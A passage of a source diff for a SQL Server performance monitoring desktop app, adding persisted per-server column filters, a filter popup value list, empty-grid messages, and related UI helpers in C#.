+                var entry = ReadGrid(grid);
+                if (entry is null)
+                    continue;
+                /* The same server and grid twice (a hand edit, a merge): the last one in the file is kept, so Load and
+                   Save act on the one entry there is. */
+                _entries.RemoveAll(e => Matches(e, entry.Server, entry.Grid));
+                _entries.Add(entry);
+            }
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException or JsonException or NotSupportedException or ArgumentException or InvalidOperationException)
+        {
+            _entries.Clear();
+            _warn?.Invoke($"The column filter file '{_filePath}' could not be read, so it is ignored: {ex.Message}");
+        }
+    }
+
+    /// <summary>One grid of the file, or null when it is not a usable one. A column that is not one is left out on its own.</summary>
+    private static GridEntry? ReadGrid(JsonElement grid)
+    {
+        if (grid.ValueKind != JsonValueKind.Object ||
+            !TryText(grid, nameof(GridDto.Server), MaxValueLength, out var server) || server.Length == 0 ||
+            !TryText(grid, nameof(GridDto.Grid), MaxValueLength, out var name) || name.Length == 0 ||
+            !grid.TryGetProperty(nameof(GridDto.Columns), out var columns) || columns.ValueKind != JsonValueKind.Array)
+            return null;
+
+        var filters = new List<ColumnFilterState>();
+        foreach (var column in columns.EnumerateArray())
+        {
+            var filter = ReadColumn(column);
+            if (filter is null)
+                continue;
+            /* A column named twice keeps its last copy; a new column past the limit is left out. */
+            var at = filters.FindIndex(f => string.Equals(f.ColumnName, filter.ColumnName, StringComparison.Ordinal));
+            if (at >= 0)
+                filters[at] = filter;
+            else if (filters.Count < MaxColumnsPerGrid)
+                filters.Add(filter);
+        }
+        return filters.Count == 0 ? null : new GridEntry { Server = server, Grid = name, Filters = filters };
+    }
+
+    /// <summary>
+    /// One column of the file, field by field. A text match that is too long is left out, and so is a value part with
+    /// too many values, a value that is too long or a mode this version does not know (the same rules the web copy
+    /// keeps); a column with nothing left, or one that never gets a list, is null.
+    /// </summary>
+    private static ColumnFilterState? ReadColumn(JsonElement column)
+    {
+        if (column.ValueKind != JsonValueKind.Object ||
+            !TryText(column, nameof(ColumnDto.Column), MaxValueLength, out var name) || name.Length == 0)
+            return null;
+
+        var filter = new ColumnFilterState { ColumnName = name };
+        if (TryText(column, nameof(ColumnDto.Operator), 64, out var op) &&
+            Enum.TryParse<FilterOperator>(op, out var parsedOp) && Enum.IsDefined(parsedOp))
+            filter.Operator = parsedOp;
+        if (TryText(column, nameof(ColumnDto.Value), MaxValueLength, out var text))
+            filter.Value = text;
+
+        if (TryText(column, nameof(ColumnDto.ValueMode), 64, out var mode) &&
+            Enum.TryParse<ColumnValueMode>(mode, out var parsedMode) && Enum.IsDefined(parsedMode) && parsedMode != ColumnValueMode.None &&
+            column.TryGetProperty(nameof(ColumnDto.Values), out var values) && values.ValueKind == JsonValueKind.Array &&
+            values.GetArrayLength() <= MaxValuesPerColumn)
+        {
+            var set = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
+            var valid = true;
+            foreach (var value in values.EnumerateArray())
+            {
+                var item = value.ValueKind == JsonValueKind.String ? value.GetString() : null;
+                if (item is null || item.Length > MaxValueLength)
+                {
+                    valid = false;
+                    break;
+                }
+                set.Add(item);
+            }
+            if (valid)
+            {
+                filter.ValueMode = parsedMode;
+                filter.Values = set;
+                filter.ValueBlank = column.TryGetProperty(nameof(ColumnDto.ValueBlank), out var blank) && blank.ValueKind == JsonValueKind.True;
+            }
+        }
+
+        return Storable(filter);
+    }
+
+    private static bool TryText(JsonElement parent, string property, int maxLength, out string value)
+    {
+        value = string.Empty;
+        if (!parent.TryGetProperty(property, out var element) || element.ValueKind != JsonValueKind.String)
+            return false;
+        var text = element.GetString();
+        if (text is null || text.Length > maxLength)
+            return false;
+        value = text;
+        return true;
+    }
+
+    /// <summary>
+    /// What the store keeps of a column's filter, or null for nothing. A column that never gets a list (query,
+    /// statement, plan, XML and prose columns) keeps nothing: a term typed or pasted there is for the session only.
+    /// A value part naming more than <see cref="MaxValuesPerColumn"/> values (or a value longer than
+    /// <see cref="MaxValueLength"/>) is dropped and the text match stays, since a cut set would change what it hides.
+    /// </summary>
+    private static ColumnFilterState? Storable(ColumnFilterState f)
+    {
+        if (string.IsNullOrEmpty(f.ColumnName) || f.ColumnName.Length > MaxValueLength || ColumnValueListColumns.IsExcluded(f.ColumnName))
+            return null;
+
+        var copy = Clone(f);
+        if (copy.Value.Length > MaxValueLength)
+            copy.Value = string.Empty;
+        if (copy.Values.Count > MaxValuesPerColumn || copy.Values.Any(v => v.Length > MaxValueLength))
+        {
+            copy.ValueMode = ColumnValueMode.None;
+            copy.Values = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
+            copy.ValueBlank = false;
+        }
+        return copy.IsActive ? copy : null;
+    }
+
+    private static ColumnFilterState Clone(ColumnFilterState f) => new()
+    {
+        ColumnName = f.ColumnName,
+        Operator = f.Operator,
+        Value = f.Value,
+        ValueMode = f.ValueMode,
+        Values = new HashSet<string>(f.Values, StringComparer.OrdinalIgnoreCase),
+        ValueBlank = f.ValueBlank
+    };
+
+    private static ColumnDto ToDto(ColumnFilterState f) => new()
+    {
+        Column = f.ColumnName,
+        Operator = f.Operator.ToString(),
+        Value = f.Value,
+        ValueMode = f.ValueMode.ToString(),
+        Values = f.Values.OrderBy(v => v, StringComparer.OrdinalIgnoreCase).ToList(),
+        ValueBlank = f.ValueBlank
+    };
+
+    private sealed class FileDto
+    {
+        public int Version { get; set; }
+        public List<GridDto>? Grids { get; set; }
+    }
+
+    private sealed class GridDto
+    {
+        public string? Server { get; set; }
+        public string? Grid { get; set; }
+        public List<ColumnDto>? Columns { get; set; }
+    }
+
+    private sealed class ColumnDto
+    {
+        public string? Column { get; set; }
+        public string? Operator { get; set; }
+        public string? Value { get; set; }
+        public string? ValueMode { get; set; }
+        public List<string>? Values { get; set; }
+        public bool ValueBlank { get; set; }
+    }
+}
diff --git a/PerformanceMonitor.Ui/ColumnValueListModel.cs b/PerformanceMonitor.Ui/ColumnValueListModel.cs
new file mode 100644
index 0000000000..89ac90d4b3
--- /dev/null
+++ b/PerformanceMonitor.Ui/ColumnValueListModel.cs
@@ -0,0 +1,192 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.ObjectModel;
+using System.ComponentModel;
+using System.Linq;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Ui;
+
+/// <summary>One line of the value list: a value, or the (Blanks) entry, with its tick.</summary>
+public sealed class ColumnValueEntry : INotifyPropertyChanged
+{
+    private readonly Action<ColumnValueEntry> _changed;
+    private bool _isTicked;
+
+    internal ColumnValueEntry(string label, string? value, bool isBlank, bool isTicked, Action<ColumnValueEntry> changed)
+    {
+        Label = label;
+        Value = value;
+        IsBlank = isBlank;
+        _isTicked = isTicked;
+        _changed = changed;
+    }
+
+    public string Label { get; }
+
+    /// <summary>The value, or null for the (Blanks) entry.</summary>
+    public string? Value { get; }
+
+    public bool IsBlank { get; }
+
+    public bool IsTicked
+    {
+        get => _isTicked;
+        set
+        {
+            if (_isTicked == value)
+                return;
+            _isTicked = value;
+            PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(nameof(IsTicked)));
+            _changed(this);
+        }
+    }
+
+    internal void Set(bool ticked)
+    {
+        if (_isTicked == ticked)
+            return;
+        _isTicked = ticked;
+        PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(nameof(IsTicked)));
+    }
+
+    public event PropertyChangedEventHandler? PropertyChanged;
+}
+
+/// <summary>
+/// What the column filter popup's value list shows and does (#5565), apart from the controls: the search box, the
+/// entries (the (Blanks) entry first, the cap), Select All under a search, the two notes, and the value part of the
+/// filter state the ticks make. The popup binds to it; the tests drive it directly.
+/// </summary>
+public sealed class ColumnValueListModel
+{
+    private readonly ColumnValueCatalog _catalog;
+    private readonly ColumnValueSelection _selection;
+    private ColumnValueListing _listing;
+    private string _search = string.Empty;
+
+    public ColumnValueListModel(ColumnValueCatalog catalog, ColumnFilterState? existing)
+    {
+        _catalog = catalog;
+        _selection = new ColumnValueSelection(catalog, existing);
+        _listing = catalog.List(_search);
+        Rebuild();
+    }
+
+    /// <summary>The entries listed under the current search (what the ListBox shows).</summary>
+    public ObservableCollection<ColumnValueEntry> Entries { get; } = new();
+
+    public string Search
+    {
+        get => _search;
+        set
+        {
+            if (_search == value)
+                return;
+            _search = value;
+            _listing = _catalog.List(_search);
+            Rebuild();
+        }
+    }
+
+    /// <summary>The cap note, or null.</summary>
+    public string? CapNote => _listing.CapNote;
+
+    /// <summary>The no-ticks note, or null.</summary>
+    public string? NoTicksNote => Preview().ShowsNoValues ? ColumnValueCatalog.NoTicksNote : null;
+
+    /// <summary>Both notes that apply, one per line, or null for none.</summary>
+    public string? Note
+    {
+        get
+        {
+            var notes = new[] { CapNote, NoTicksNote }.Where(n => n is not null).ToArray();
+            return notes.Length == 0 ? null : string.Join(Environment.NewLine, notes);
+        }
+    }
+
+    /// <summary>Select All: true when every listed match is ticked, false when none is, null when mixed.</summary>
+    public bool? SelectAllState
+    {
+        get
+        {
+            var values = _listing.AllMatches;
+            var ticked = values.Count(_selection.IsTicked) + (_listing.HasBlankEntry && _selection.IsBlankTicked ? 1 : 0);
+            var total = values.Count + (_listing.HasBlankEntry ? 1 : 0);
+            return total == 0 ? true : ticked == total ? true : ticked == 0 ? false : null;
+        }
+    }
+
+    /// <summary>Select All as clicked: ticks every match unless they all are ticked already, then unticks them.</summary>
+    public void ToggleSelectAll()
+    {
+        SetAll(SelectAllState != true);
+    }
+
+    /// <summary>Ticks or unticks every value the current search matches (past the cap too), and (Blanks) when listed.</summary>
+    public void SetAll(bool ticked)
+    {
+        _selection.SetAll(_listing, ticked);
+        foreach (var entry in Entries)
+            entry.Set(ticked);
+        TicksDirty = true;
+        TicksChanged?.Invoke(this, EventArgs.Empty);
+    }
+
+    /// <summary>
+    /// A tick was changed since the popup opened (a box, Select All or TickOnly). Apply rebuilds the value part only
+    /// then; a text-only Apply keeps the stored value part as it was (#5565: the mode is chosen when the list changes,
+    /// not every time the popup closes, so a value filter that rows have since drifted away from is not re-derived).
+    /// </summary>
+    public bool TicksDirty { get; private set; }
+
+    /// <summary>Raised after a tick changes, so the popup can refresh Select All and the note.</summary>
+    public event EventHandler? TicksChanged;
+
+    /// <summary>Writes the value part the ticks make into <paramref name="state"/>.</summary>
+    public void ApplyTo(ColumnFilterState state) => _selection.ApplyTo(state);
+
+    /// <summary>Ticks only these (used by tests and by "show only").</summary>
+    public void TickOnly(System.Collections.Generic.IEnumerable<string> values, bool blank)
+    {
+        _selection.TickOnly(values, blank);
+        foreach (var entry in Entries)
+            entry.Set(entry.IsBlank ? _selection.IsBlankTicked : _selection.IsTicked(entry.Value!));
+        TicksDirty = true;
+        TicksChanged?.Invoke(this, EventArgs.Empty);
+    }
+
+    private ColumnFilterState Preview()
+    {
+        var preview = new ColumnFilterState();
+        _selection.ApplyTo(preview);
+        return preview;
+    }
+
+    private void Rebuild()
+    {
+        Entries.Clear();
+        if (_listing.HasBlankEntry)
+            Entries.Add(new ColumnValueEntry("(Blanks)", null, true, _selection.IsBlankTicked, OnEntryChanged));
+        foreach (var value in _listing.Values)
+            Entries.Add(new ColumnValueEntry(value, value, false, _selection.IsTicked(value), OnEntryChanged));
+        TicksChanged?.Invoke(this, EventArgs.Empty);
+    }
+
+    private void OnEntryChanged(ColumnValueEntry entry)
+    {
+        if (entry.IsBlank)
+            _selection.SetBlankTicked(entry.IsTicked);
+        else
+            _selection.SetTicked(entry.Value!, entry.IsTicked);
+        TicksDirty = true;
+        TicksChanged?.Invoke(this, EventArgs.Empty);
+    }
+}
diff --git a/PerformanceMonitor.Ui/ComparisonBaselineNote.cs b/PerformanceMonitor.Ui/ComparisonBaselineNote.cs
new file mode 100644
index 0000000000..e53833b077
--- /dev/null
+++ b/PerformanceMonitor.Ui/ComparisonBaselineNote.cs
@@ -0,0 +1,31 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Collections.Generic;
+using System.Linq;
+
+namespace PerformanceMonitor.Ui;
+
+/// <summary>
+/// What the Compare grids (Top Queries, Top Procedures, Query Store) say when the baseline period held nothing. A
+/// store newer than the offset ("Yesterday" on a store a few hours old) has no baseline rows, so every row reads NEW
+/// with no delta, and nothing told the user why.
+/// </summary>
+public static class ComparisonBaselineNote
+{
+    /// <summary>Appended to the "Comparing against baseline" banner when the baseline period has no rows.</summary>
+    public const string NoBaselineData = " - no data was collected in that period, so there is nothing to compare against";
+
+    /// <summary>True when no item has any baseline executions (an empty list included).</summary>
+    public static bool HasNoBaselineData(IEnumerable<ComparisonItemBase> items) =>
+        !items.Any(i => i.BaselineExecutionCount > 0);
+
+    /// <summary>The banner text with the no-data note added when the baseline period held nothing.</summary>
+    public static string Banner(string bannerText, IEnumerable<ComparisonItemBase> items) =>
+        HasNoBaselineData(items) ? bannerText + NoBaselineData : bannerText;
+}
diff --git a/PerformanceMonitor.Ui/DataGridFilterManager.cs b/PerformanceMonitor.Ui/DataGridFilterManager.cs
index 43df110c72..ae8af58ff3 100644
--- a/PerformanceMonitor.Ui/DataGridFilterManager.cs
+++ b/PerformanceMonitor.Ui/DataGridFilterManager.cs
@@ -6,6 +6,7 @@
  * Licensed under the MIT License. See LICENSE file in the project root for full license information.
  */
 
+using System;
 using System.Collections.Generic;
 using System.ComponentModel;
 using System.Linq;
@@ -26,6 +27,21 @@ public interface IDataGridFilterManager
     void SetFilter(ColumnFilterState filterState);
     void UpdateFilterButtonStyles();
     void ClearFilters();
+
+    /// <summary>
+    /// #5565: the user's "Clear all filters" on the grid: <see cref="ClearFilters"/> plus the stored copy, so the
+    /// filters do not come back after a restart.
+    /// </summary>
+    void ClearAllFilters();
+
+    /// <summary>
+    /// #5565: the values a column's filter popup lists, from every row the grid holds now (before any filter), or
+    /// null when the column gets no list (not a text column, query/plan/XML/prose text, too long, or no rows yet).
+    /// </summary>
+    ColumnValueCatalog? GetValueCatalog(string columnName);
+
+    /// <summary>The grid has at least one active filter.</summary>
+    bool AnyFilterActive { get; }
 }
 
 /// <summary>
@@ -46,6 +62,11 @@ public DataGridFilterManager(DataGrid dataGrid)
 
     public Dictionary<string, ColumnFilterState> Filters => _filters;
 
+    public bool AnyFilterActive => HasActiveFilters();
+
+    /// <summary>The server scope the stored filters were last loaded for; null until the first scoped refresh.</summary>
+    private string? _loadedScope;
+
     /// <summary>
     /// Called when new data arrives (refresh cycle). Captures unfiltered data,
     /// then re-applies any active filters. Preserves user sort order.
@@ -53,6 +74,10 @@ public DataGridFilterManager(DataGrid dataGrid)
     public void UpdateData(List<T> newData)
     {
         _unfilteredData = newData;
+        LoadStoredFilters();
+
+        /* An empty grid says so (Lite click-through F15) instead of showing a bare header row. */
+        EmptyState.Show(_dataGrid, newData.Count == 0);
 
         if (!HasActiveFilters())
         {
@@ -68,6 +93,8 @@ public void UpdateData(List<T> newData)
     /// </summary>
     public void SetFilter(ColumnFilterState filterState)
     {
+        LoadStoredFilters(); /* a filter set before the first scoped refresh must not wipe the stored ones */
+
         if (filterState.IsActive)
             _filters[filterState.ColumnName] = filterState;
         else
@@ -75,6 +102,7 @@ public void SetFilter(ColumnFilterState filterState)
 
         ApplyFilters();
         UpdateFilterButtonStyles();
+        SaveStoredFilters();
     }
 
     /// <summary>
@@ -87,6 +115,10 @@ public void SetFilter(ColumnFilterState filterState)
     /// </summary>
     public void ClearFilters()
     {
+        /* #5565: the stored copy is not touched (a context change is not the user clearing the filters), but the next
+           refresh loads whatever is stored for the scope it then finds, so a server switch brings that server's own. */
+        _loadedScope = null;
+
         if (_filters.Count == 0)
         {
             return;
@@ -102,6 +134,115 @@ public void ClearFilters()
         UpdateFilterButtonStyles();
     }
 
+    /// <summary>
+    /// #5565: "Clear all filters" on the grid. Drops every filter like <see cref="ClearFilters"/> and removes the
+    /// grid's stored copy too, so nothing comes back after a restart.
+    /// </summary>
+    public void ClearAllFilters()
+    {
+        var scope = CurrentScope();
+        ClearFilters();
+        _loadedScope = scope;
+        SaveStoredFilters();
+    }
+
+    /// <summary>The server scope and grid name the stored filters are keyed by, or null for a grid kept for the session only.</summary>
+    private string? CurrentScope()
+    {
+        if (ColumnFilterStore.Current is null || string.IsNullOrEmpty(_dataGrid.Name))
+            return null;
+        var scope = ColumnFilterScope.GetServer(_dataGrid);
+        return string.IsNullOrEmpty(scope) ? null : scope;
+    }
+
+    /// <summary>
+    /// #5565: on the first refresh under a server scope (and again after <see cref="ClearFilters"/> changed the
+    /// context), brings back the filters stored for this server's grid. A stored filter whose column the grid no
+    /// longer has is ignored; a filter already set this session wins over a stored one on the same column.
+    /// </summary>
+    private void LoadStoredFilters()
+    {
+        var scope = CurrentScope();
+        if (scope is null || scope == _loadedScope)
+            return;
+        _loadedScope = scope;
+
+        IReadOnlyList<ColumnFilterState> stored;
+        try
+        {
+            stored = ColumnFilterStore.Current!.Load(scope, _dataGrid.Name);
+        }
+        catch (Exception)
+        {
+            return; // a store that cannot answer never blocks a grid
+        }
+
+        if (stored.Count == 0)
+            return;
+
+        var known = KnownColumns();
+        foreach (var filter in stored)
+        {
+            if (known.Contains(filter.ColumnName) && !_filters.ContainsKey(filter.ColumnName))
+                _filters[filter.ColumnName] = filter;
+        }
+        UpdateFilterButtonStyles();
+    }
+
+    private void SaveStoredFilters()
+    {
+        var scope = CurrentScope();
+        if (scope is null)
+            return;
+        try
+        {
+            ColumnFilterStore.Current!.Save(scope, _dataGrid.Name, _filters.Values);
+        }
+        catch (Exception)
+        {
+            /* a store that cannot save never blocks a grid; the store reports its own file problems */
+        }
+    }
+
+    /// <summary>The columns the grid has: each bound column's path and each filter button's Tag.</summary>
+    private HashSet<string> KnownColumns()
+    {
+        var known = new HashSet<string>(StringComparer.Ordinal);
+        foreach (var column in _dataGrid.Columns)
+        {
+            if (column is DataGridBoundColumn { Binding: Binding binding } && !string.IsNullOrEmpty(binding.Path?.Path))
+                known.Add(binding.Path.Path);
+            if (column.Header is StackPanel panel && panel.Children.OfType<Button>().FirstOrDefault()?.Tag is string tag)
+                known.Add(tag);
+        }
+        return known;
+    }
+
+    /// <summary>
+    /// #5565: the values the column's popup lists. Null when the column gets none: it is excluded by name (query,
+    /// plan, XML, prose, display strings), is not a text property of the row type, sorts by another member than it
+    /// shows (a time shown as text), has a value over the length limit, or there are no rows yet.
+    /// </summary>
+    public ColumnValueCatalog? GetValueCatalog(string columnName)
+    {
+        if (_unfilteredData is null || ColumnValueListColumns.IsExcluded(columnName))
+            return null;
+
+        var property = typeof(T).GetProperty(columnName);
+        if (property is null || property.PropertyType != typeof(string) || property.GetIndexParameters().Length != 0)
+            return null;
+
+        foreach (var column in _dataGrid.Columns)
+        {
+            if (column is DataGridBoundColumn { Binding: Binding binding } && binding.Path?.Path == columnName &&
+                !string.IsNullOrEmpty(column.SortMemberPath) && column.SortMemberPath != columnName)
+                return null;
+        }
+
+        var catalog = ColumnValueCatalog.Build(_unfilteredData.Select(item => (string?)property.GetValue(item)));
+        return catalog.IsListable ? catalog : null;
+    }
+
     private bool HasActiveFilters()
     {
         return _filters.Count > 0 && _filters.Values.Any(f => f.IsActive);
@@ -177,7 +318,7 @@ public void UpdateFilterButtonStyles()
                         FontFamily = new FontFamily("Segoe MDL2 Assets"),
                         Foreground = hasActive
                             ? new SolidColorBrush(Color.FromRgb(0xFF, 0xD7, 0x00))
-                            : (Brush)Application.Current.FindResource("ForegroundDimBrush")
+                            : (Application.Current?.TryFindResource("ForegroundDimBrush") as Brush ?? Brushes.Gray) /* no Application in a headless test: a plain grey */
                     };
                     filterButton.Content = textBlock;
 
diff --git a/PerformanceMonitor.Ui/DatabaseFilterSelection.cs b/PerformanceMonitor.Ui/DatabaseFilterSelection.cs
new file mode 100644
index 0000000000..0ccc2e521a
--- /dev/null
+++ b/PerformanceMonitor.Ui/DatabaseFilterSelection.cs
@@ -0,0 +1,54 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Collections.Generic;
+
+namespace PerformanceMonitor.Ui;
+
+/// <summary>
+/// What the Databases filter stores for the boxes ticked in its popup (Lite and the Darling Viewer share the rule).
+/// An empty selection means "All" (no filter), so a database collected later is included. Ticking every box, by hand
+/// or with Select All, is also "All": storing the twelve names would be a real twelve-database filter that left out
+/// the thirteenth and read "12 of 12" on the button.
+/// </summary>
+public static class DatabaseFilterSelection
+{
+    /// <summary>
+    /// The names to store: the ticked names, or none when every COLLECTED database is ticked. The comparison is against
+    /// the collected names the read returned, not the list on screen: that list also holds the sticky names of a filter
+    /// for databases not collected yet, and when the read failed (<paramref name="collectedNames"/> is null or empty) the
+    /// list is nothing but those sticky names, so "every box ticked" would widen a narrow filter to All (#5554).
+    /// </summary>
+    public static List<string> Stored(IReadOnlyList<(string Name, bool IsSelected)> items, IReadOnlyCollection<string>? collectedNames)
+    {
+        var ticked = new List<string>();
+        foreach (var (name, isSelected) in items)
+        {
+            if (isSelected)
+            {
+                ticked.Add(name);
+            }
+        }
+
+        if (collectedNames == null || collectedNames.Count == 0)
+        {
+            return ticked;
+        }
+
+        var tickedSet = new HashSet<string>(ticked, System.StringComparer.OrdinalIgnoreCase);
+        foreach (var name in collectedNames)
+        {
+            if (!tickedSet.Contains(name))
+            {
+                return ticked;
+            }
+        }
+
+        return new List<string>();
+    }
+}
diff --git a/PerformanceMonitor.Ui/EmptyState.cs b/PerformanceMonitor.Ui/EmptyState.cs
new file mode 100644
index 0000000000..102a351d48
--- /dev/null
+++ b/PerformanceMonitor.Ui/EmptyState.cs
@@ -0,0 +1,110 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Linq;
+using System.Windows;
+using System.Windows.Controls;
+using System.Windows.Media;
+
+namespace PerformanceMonitor.Ui;
+
+/// <summary>
+/// The "nothing here" text for a grid or chart that came back empty (Lite click-through F15). Without it a user cannot
+/// tell "nothing happened in this window" from "not collected": the grid is a bare header row, the chart a bare axis.
+///
+/// <para>The text is a <see cref="TextBlock"/> that sits in the SAME grid cell as the surface, centred, in the style the
+/// System Events sub-tabs' own <c>*NoDataMessage</c> elements use (italic, dim, wrapped). It is made the first time a
+/// surface is empty and only toggled afterwards, so a surface that always has rows never pays for one.</para>
+///
+/// <para>A surface whose cell already holds a <c>*NoDataMessage</c> element (the System Events grids, whose message also
+/// carries the "this collector does not run on this server" wording) or any other <c>*Message</c> element (Alert History's
+/// <c>NoAlertsMessage</c>, Job History's <c>NoJobsMessage</c>, the FinOps <c>No*Message</c> texts) keeps that element as its
+/// only text: this does nothing there, so two strings are never drawn over each other.</para>
+/// </summary>
+public static class EmptyState
+{
+    /// <summary>What a grid says when its caller gave no wording of its own.</summary>
+    public const string DefaultGridText = "No data for the selected time range.";
+
+    /// <summary>The name given to the element this class makes, so it is found again and never doubled.</summary>
+    public const string ElementName = "EmptyStateText";
+
+    public static readonly DependencyProperty TextProperty = DependencyProperty.RegisterAttached(
+        "Text", typeof(string), typeof(EmptyState), new PropertyMetadata(null));
+
+    /// <summary>The wording a surface shows when empty, set in XAML or code; null means the default.</summary>
+    public static string? GetText(DependencyObject element) => (string?)element.GetValue(TextProperty);
+
+    public static void SetText(DependencyObject element, string? value) => element.SetValue(TextProperty, value);
+
+    /// <summary>
+    /// Shows the empty-state text over <paramref name="surface"/> when <paramref name="isEmpty"/>, hides it otherwise.
+    /// <paramref name="text"/> wins over the surface's attached <see cref="TextProperty"/>, which wins over the default.
+    /// <paramref name="clearOfBaseline"/> puts the text near the top instead of the middle, for a trend chart that still draws
+    /// its flat zero line when empty, so the words never sit on the line.
+    /// </summary>
+    public static void Show(FrameworkElement surface, bool isEmpty, string? text = null, bool clearOfBaseline = false)
+    {
+        /* A chart is often wrapped in a Border for its margin; the text then sits in the Border's cell. */
+        FrameworkElement anchor = surface;
+        while (anchor.Parent is Border border)
+        {
+            anchor = border;
+        }
+
+        if (anchor.Parent is not Grid parent)
+        {
+            return;
+        }
+
+        var row = Grid.GetRow(anchor);
+        var column = Grid.GetColumn(anchor);
+
+        if (parent.Children.OfType<TextBlock>().Any(t => t.Name.EndsWith("Message", System.StringComparison.Ordinal)
+                && Grid.GetRow(t) == row && Grid.GetColumn(t) == column))
+        {
+            return;
+        }
+
+        var existing = parent.Children.OfType<TextBlock>().FirstOrDefault(t => t.Name == ElementName + "_" + SurfaceKey(surface));
+
+        if (existing is null)
+        {
+            if (!isEmpty)
+            {
+                return;
+            }
+
+            existing = new TextBlock
+            {
+                Name = ElementName + "_" + SurfaceKey(surface),
+                HorizontalAlignment = HorizontalAlignment.Center,
+                VerticalAlignment = clearOfBaseline ? VerticalAlignment.Top : VerticalAlignment.Center,
+                Margin = clearOfBaseline ? new Thickness(0, 36, 0, 0) : new Thickness(0),
+                TextAlignment = TextAlignment.Center,
+                TextWrapping = TextWrapping.Wrap,
+                MaxWidth = 520,
+                FontStyle = FontStyles.Italic,
+                IsHitTestVisible = false,
+            };
+            existing.SetResourceReference(TextBlock.ForegroundProperty, "ForegroundDimBrush");
+            Grid.SetRow(existing, row);
+            Grid.SetColumn(existing, column);
+            Grid.SetRowSpan(existing, Grid.GetRowSpan(anchor));
+            Grid.SetColumnSpan(existing, Grid.GetColumnSpan(anchor));
+            parent.Children.Add(existing);
+        }
+
+        existing.Text = text ?? GetText(surface) ?? DefaultGridText;
+        existing.Visibility = isEmpty ? Visibility.Visible : Visibility.Collapsed;
+    }
+
+    /// <summary>Two surfaces in one cell (the Memory Grants charts are stacked by row, but a cell can hold two) each get their own text.</summary>
+    private static string SurfaceKey(FrameworkElement surface) =>
+        string.IsNullOrEmpty(surface.Name) ? surface.GetHashCode().ToString("x", System.Globalization.CultureInfo.InvariantCulture) : surface.Name;
+}
diff --git a/PerformanceMonitor.Ui/FileIoChartFiles.cs b/PerformanceMonitor.Ui/FileIoChartFiles.cs
new file mode 100644
index 0000000000..00f2829aa2
--- /dev/null
+++ b/PerformanceMonitor.Ui/FileIoChartFiles.cs
@@ -0,0 +1,40 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+
+namespace PerformanceMonitor.Ui;
+
+/// <summary>
+/// Which files the File I/O tab's two latency charts draw. The latency read returns up to twenty files: the ten with the
+/// most reads and the ten with the most writes, and it says which ten each file is in (two flag columns,
+/// <c>read_rank &lt;= 10 AND total_reads &gt; 0</c> and <c>write_rank &lt;= 10 AND total_writes &gt; 0</c>). The read chart draws the
+/// files flagged for reads and the write chart the files flagged for writes, exactly as the read ranked them. Cutting the
+/// combined list back to one shared ten by summed latency let twelve busy log files (3 ms writes, no reads) push both data files off
+/// the Read Latency chart, and drew every write-only log file as a flat 0 ms read line. Ranking again here on the points' own
+/// counts was no better: those counts leave out the rows with no interval, so a chart's ten could differ from the read's ten,
+/// and a tie broke on the joined "db.file" text, not on (database, file) the way the read breaks it.
+/// </summary>
+public static class FileIoChartFiles
+{
+    /// <summary>The groups (one per file key) for the read chart: the files the read flagged as in its ten by reads. Each group's points are left as given.</summary>
+    public static IReadOnlyList<IGrouping<string, T>> ReadChartFiles<T>(IEnumerable<T> points, Func<T, string> fileKey, Func<T, bool> inReadTen)
+        => Flagged(points, fileKey, inReadTen);
+
+    /// <summary>The write chart's files: the files the read flagged as in its ten by writes.</summary>
+    public static IReadOnlyList<IGrouping<string, T>> WriteChartFiles<T>(IEnumerable<T> points, Func<T, string> fileKey, Func<T, bool> inWriteTen)
+        => Flagged(points, fileKey, inWriteTen);
+
+    private static List<IGrouping<string, T>> Flagged<T>(IEnumerable<T> points, Func<T, string> fileKey, Func<T, bool> flag)
+        => points
+            .Where(flag)
+            .GroupBy(fileKey)
+            .ToList();
+}
diff --git a/PerformanceMonitor.Ui/FileSaveHelper.cs b/PerformanceMonitor.Ui/FileSaveHelper.cs
index bb9a152815..957c825901 100644
--- a/PerformanceMonitor.Ui/FileSaveHelper.cs
+++ b/PerformanceMonitor.Ui/FileSaveHelper.cs
@@ -23,10 +23,14 @@ public static class FileSaveHelper
 {
     /// <summary>
     /// Prompts for a <c>.sqlplan</c> path and writes <paramref name="planXml"/> there; the pre-filled name is
-    /// <paramref name="defaultName"/> plus a <c>yyyyMMdd_HHmmss</c> timestamp.
+    /// <paramref name="defaultName"/> plus a <c>yyyyMMdd_HHmmss</c> timestamp. A plan the statement filter withheld whole
+    /// is refused with <see cref="PerformanceMonitor.Common.SensitiveStatements.WithheldPlanSentence"/> and nothing is written.
     /// </summary>
     public static void SavePlanFile(string planXml, string defaultName)
     {
+        /* #5320: the whole-plan marker is not a plan; say it is withheld instead of writing it into a .sqlplan. */
+        if (WithheldPlanGuard.RefuseSave(planXml)) return;
+
         var dialog = new SaveFileDialog
         {
             Filter = "SQL Plan files (*.sqlplan)|*.sqlplan|All files (*.*)|*.*",
@@ -48,10 +52,16 @@ public static void SavePlanFile(string planXml, string defaultName)
 
     /// <summary>
     /// Prompts for a <c>.xml</c> path and writes <paramref name="xml"/> there. <paramref name="suggestedFileName"/>
-    /// is the full pre-filled file name; <paramref name="whatLabel"/> names the content in the error dialog.
